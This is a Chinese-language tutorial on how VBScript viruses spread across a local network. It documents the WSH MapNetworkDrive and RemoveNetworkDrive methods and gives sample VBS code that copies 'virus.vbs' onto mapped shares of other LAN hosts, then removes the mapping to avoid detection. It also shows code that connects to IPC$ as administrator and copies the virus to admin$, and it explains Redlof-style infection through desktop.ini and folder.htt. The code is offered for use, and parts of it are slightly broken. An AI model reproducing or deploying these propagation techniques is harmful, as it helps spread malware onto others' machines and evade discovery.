1.利用WSH裡的MapNetworkDrive方法。該方法是將網絡驅動器映射到本地。
MapNetworkDrive方法:
object.MapNetworkDrive
(strLocalName, strRemoteName, [bUpdateProfile], [strUser], [strPassword])
參數
object
WshNetwork 對象。
strLocalName
表示映射驅動器的本地名的字符串值。
strRemoteName
表示共享的 UNC 名稱 (\\xxx\yyy) 的字符串值。
bUpdateProfile
可選。表示映射信息是否存儲在當前的用戶配置文件中的布爾值。如果提供的 bUpdateProfile 的值為 true,則該映射存儲在用戶的配置文件中(默認值為 false)。
strUser
可選。表示用戶名的字符串值。如果使用當前用戶以外的其他用戶的憑據來映射網絡驅動器,則必須提供該參數。
strPassword
可選。表示用戶密碼的字符串值。如果使用當前用戶以外的其他用戶的憑據來映射網絡驅動器,則必須提供該參數。
說明
嘗試映射非共享的網絡驅動器時將產生錯誤。
主要原理是:得到本機的LAN地址後(一般為192.168.*.*)將其他主機的共享目錄映射為本地的驅動器(如Z:),然後將病毒復制到映射的本地驅動器Z:,這樣就把病毒復制到其他主機的目錄去了。最後,還要使用RemoveNetworkDrive方法刪除映射,以免被發現。
RemoveNetworkDrive方法:
object.RemoveNetworkDrive(strName, [bForce], [bUpdateProfile])
參數
object
WshNetwork 對象。
strName
表示要刪除的映射驅動器名的字符串值。strName 參數可以是本地名稱,也可以是遠程名稱,這取決於驅動器的映射方法。
bForce
可選。表示是否強制刪除映射驅動器的布爾值。如果提供的 bForce 的值為 true,則無論該資源是否正在使用,該方法都刪除這些連接。
bUpdateProfile
可選。表示是否從用戶的配置文件中刪除映射的字符串值。如果提供 bUpdateProfile 且其值為 true,則從用戶配置文件中刪除該映射。bUpdateProfile 的默認值為 false。
說明
如果在本地名稱(驅動器名)和遠程名稱(UNC 名稱)之間存在映射關系,則 strName 必須設置為本地名稱。如網絡路徑中不存在本地名稱(驅動器字母)映射,則 strName 必須設為遠程名稱。
我這裡給一段VBS的示例代碼:
Set myfso= CreateObject("Scripting.FileSystemObject")
Set WshNetwork = WScript.CreateObject("WScript.Network")
WshNetwork.MapNetworkDrive "I:", "\\" & unc
fso.copyfile "c:\virus.vbs " ,"I:\virus.vbs.txt"
WshNetwork.RemoveNetworkDrive "I:"
2. 利用IPC$進行連接。這種方式估計玩HACK的朋友比較熟悉啦!原理就是利用WSCRIPT.SHELL來執行。具體可以參考各種IPC$攻擊傻瓜教程,這裡僅提供一段代碼:
Set objshell=wscript.createobject("wscript.shell")
Dim st,sc
st="net use \\" & "192.168.0.1 \IPC$ "& pass &" /" & "administrator"
objshell.run st
sc="copy c:\virus.vbs \\192.168.0.1\admin$"
objshell.run sc
3.就是像“Redlof”病毒一樣的利用FOLDER.HTT的被動式進行傳播。
Desktop.ini: 活動桌面的配置文件
Desktop.ini定義了它所在的文件夾在桌面上或者在資源管理器中的顯示風格以及文件夾的某些屬性。
關鍵:WebViewTemplate.NT5=file://Folder.htt
就是修改desktop.ini使其指向同目錄下的folder.htt,當以WEB視圖打開文件夾時,就會按照desktop.ini裡面的設置執行folder.htt。這樣我們就可以把病毒寫入folder.htt,使之不斷復制。